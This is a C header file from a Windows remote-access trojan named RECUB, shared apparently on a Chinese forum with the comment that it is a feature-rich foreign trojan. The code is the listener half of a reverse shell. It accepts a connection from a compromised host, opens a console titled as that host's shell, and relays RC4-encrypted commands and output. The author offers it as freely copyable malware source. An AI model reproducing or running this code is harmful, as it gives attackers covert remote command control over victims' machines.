serv.h

一个外国的木马哦,功能挺多的

///////////////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////////
//																					 //		
//									RECUB											 //
//								  By Hirosh											 //	
//								www.hirosh.net										 //				
//								www.eos-india.net									 //	
//																					 //		
//Thanks for starch at http://mir-os.sourceforge.net For the idea,I started this by  //	
//porting his version in linux to win32,after some time i stoped porting bc i prefer //
//a small EXE heheh..,and thanks to NC source too..									 //		
//																					 //	
//				No CopyRights		- Feel Free to Cut & Paste	  				     // 	
//																					 //
//																					 //						
///////////////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////////

#include <winsock2.h>
char* GetLocalIP(){
	WORD wVersionRequested;
      WSADATA wsaData;
      char name[255];
	  char localip[255];
      PHOSTENT hostinfo;
      wVersionRequested = MAKEWORD( 2, 0 );

      if ( WSAStartup( wVersionRequested, &wsaData ) == 0 )
      {

            if( gethostname ( name, sizeof(name)) == 0)
            {
                  if((hostinfo = gethostbyname(name)) != NULL)
                  {
                        lstrcpy(localip,  inet_ntoa (*(struct in_addr *)*hostinfo->h_addr_list));
                  }				 
            }

            WSACleanup( );
      }


    return localip;
}


int revport;
char srvip[100];
HANDLE hStdout, hStdin;
DWORD WINAPI ReadandSendThread( LPVOID l);
DWORD cRead, cWritten, fdwMode, fdwOldMode;
extern char pass[100];
BOOL exitok=FALSE;

DWORD WINAPI ReciveConnectThread( LPVOID l)
{
	WSADATA wsaData;
	SOCKET server;
	struct sockaddr_in local;
	int wsaret=WSAStartup(0x101,&wsaData);
	if(wsaret!=0)	return 0;

	local.sin_family=AF_INET;
	local.sin_addr.s_addr=INADDR_ANY;
	local.sin_addr.s_addr=inet_addr(GetLocalIP());	
	local.sin_port=htons((u_short)revport);	
	server=socket(AF_INET,SOCK_STREAM,0);
	if(server==INVALID_SOCKET){
	MessageBox(0,"error0 ","r",MB_OK);
		return 0;
	}
	
	if(bind(server,(struct sockaddr*)&local,sizeof(local))!=0){		
		MessageBox(0,"error1 ","r",MB_OK);
		return 0;
	}

	if(listen(server,25)!=0){	
		MessageBox(0,"error2 ","r",MB_OK);
		return 0;
	}

	SOCKET client;
	struct sockaddr_in from;
	int fromlen=sizeof(from);
	//while(1)	{
	char buff[1024];
	client=accept(server,(struct sockaddr*)&from,&fromlen);	
	if(client!=INVALID_SOCKET){
	AllocConsole();
    hStdin = GetStdHandle(STD_INPUT_HANDLE);
    hStdout = GetStdHandle(STD_OUTPUT_HANDLE);

	char conTitle[200];

    if (hStdin == INVALID_HANDLE_VALUE ||  hStdout == INVALID_HANDLE_VALUE)
    {
        MessageBox(0,"err0","w",MB_OK);
    }
    if (! SetConsoleTextAttribute(hStdout,FOREGROUND_BLUE|FOREGROUND_INTENSITY ))		MessageBox(0,"err2","w",MB_OK);	
	wsprintf(conTitle,"RECUB Client V1.0 - Shell of %s",srvip);
	SetConsoleTitle(conTitle);
	DWORD sdw;
	char readbuff[20000];
	
	CreateThread( NULL, 0, ReadandSendThread,(LPVOID)client, 0, &sdw);	
	while(1)
	{
		Sleep(1);						
		memset(buff,0,sizeof(buff));				
		int n=recv(client,readbuff,sizeof(readbuff),0);				
		if (n>0){
		char mess[100];
		wsprintf(mess,"%d",n);
		//MessageBox(0,mess,mess,MB_OK);
		DecryptRC4(pass,readbuff,n) ;
		WriteConsole( hStdout,readbuff,n,&cWritten, NULL);				
		}		
	}	
	}
closesocket(client);
	return 0;
}
DWORD WINAPI ReadandSendThread( LPVOID l)
{
SOCKET s=(SOCKET)l;
char buff[100];
while(1)
{
Sleep(0);
memset(buff,sizeof(buff),0);
if (!ReadConsole( hStdin, buff,sizeof(buff), &cRead, NULL) )   break;
		else{				
			buff[cRead]=0;			
		if (strcmpi(buff, "exit\r\n") == 0)	exitok=TRUE;				
			EncryptRC4(pass,buff,cRead) ;			
			send(s,buff,cRead,0);						
			memset(buff,sizeof(buff),0);				
		if (exitok)        {	
			ExitProcess(0);
		}
		}
}
return 0;
}